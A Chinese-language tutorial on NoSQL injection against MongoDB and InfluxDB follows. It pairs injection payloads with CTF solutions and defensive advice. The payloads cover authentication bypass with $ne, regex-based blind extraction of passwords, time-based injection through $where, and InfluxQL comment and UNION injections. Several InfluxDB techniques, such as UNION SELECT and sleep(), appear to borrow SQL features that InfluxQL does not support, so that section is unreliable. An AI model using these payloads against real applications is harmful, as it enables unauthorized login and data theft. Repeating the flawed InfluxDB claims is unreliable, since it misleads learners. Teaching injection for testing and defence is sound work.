NoSQL 从0到1(MongoDB and InfluxDB)
字数 840 2025-08-18 17:33:08
NoSQL注入从0到1:MongoDB与InfluxDB实战指南
1. NoSQL数据库概述
NoSQL数据库与传统SQL数据库的主要区别:
- 非关系型数据模型
- 无固定表结构
- 水平可扩展性
- 高性能读写
- 弱一致性或最终一致性
2. MongoDB注入技术
2.1 MongoDB基础查询语法
// 基本查询
db.users.find({username: "admin"})
// 条件查询
db.users.find({age: {$gt: 18}})
// 逻辑操作
db.users.find({$or: [{age: {$lt: 18}}, {age: {$gt: 65}}]})
2.2 MongoDB注入原理
当应用程序直接将用户输入拼接到查询中时,可能导致注入:
// 不安全代码示例
db.users.find({username: req.body.username, password: req.body.password})
2.3 常见注入技术
2.3.1 绕过认证
// 用户输入
username: admin
password: {$ne: ""}
// 生成查询
db.users.find({username: "admin", password: {$ne: ""}})
2.3.2 布尔盲注
// 判断条件是否为真
username: admin
password: {$regex: "^a"}
// 判断管理员用户是否存在
username: {$regex: "^admin$"}
2.3.3 时间盲注
// 使用$where和sleep函数
username: admin
password: {$where: "function(){sleep(5000); return true}"}
2.3.4 提取数据
// 逐步提取密码字符
username: admin
password: {$regex: "^a.*"}
password: {$regex: "^ab.*"}
// 依此类推...
2.4 防御措施
- 使用参数化查询
- 使用ORM/ODM库(如Mongoose)
- 输入验证和过滤
- 最小权限原则
3. InfluxDB注入技术
3.1 InfluxDB基础查询语法
-- 基本查询
SELECT * FROM "measurement" WHERE "tag" = 'value'
-- 条件查询
SELECT * FROM "cpu" WHERE "usage" > 90
-- 时间范围查询
SELECT * FROM "network" WHERE time > now() - 1h
3.2 InfluxDB注入原理
当应用程序直接将用户输入拼接到InfluxQL查询中时:
-- 不安全代码示例
query = `SELECT * FROM "metrics" WHERE "host" = '${userInput}'`
3.3 常见注入技术
3.3.1 注释绕过
-- 用户输入
host' OR 1=1 --
-- 生成查询
SELECT * FROM "metrics" WHERE "host" = 'host' OR 1=1 --'
3.3.2 联合查询
-- 用户输入
host' UNION SELECT * FROM "users" --
-- 生成查询
SELECT * FROM "metrics" WHERE "host" = 'host' UNION SELECT * FROM "users" --'
3.3.3 布尔盲注
-- 用户输入
host' AND "value" > 100 --
-- 通过响应差异判断条件真假
3.3.4 时间盲注
-- 用户输入
host' AND (SELECT count(*) FROM "users") > 0 AND sleep(5) --
3.4 防御措施
- 使用参数化查询
- 使用InfluxDB客户端库
- 限制查询权限
- 输入验证和转义
4. CTF实战案例
4.1 MongoDB注入挑战
题目描述:登录页面,需要绕过认证获取flag。
解题步骤:
- 分析登录请求
- 尝试JSON注入
- 构造绕过查询
- 获取flag
Payload示例:
{
"username": {"$ne": ""},
"password": {"$ne": ""}
}
4.2 InfluxDB注入挑战
题目描述:监控系统查询接口,需要提取敏感数据。
解题步骤:
- 识别InfluxQL注入点
- 尝试联合查询
- 枚举measurement名称
- 提取flag数据
Payload示例:
host' UNION SELECT * FROM "flags" --
5. 总结
NoSQL注入相比SQL注入有以下特点:
- 语法差异大,不同数据库有不同注入方式
- 通常基于操作符和JSON/查询语言结构
- 防御措施需要针对特定数据库实现
- 工具支持较少,常需要手动测试
安全建议:
- 永远不要信任用户输入
- 使用数据库提供的安全查询方法
- 实施最小权限原则
- 定期进行安全审计和渗透测试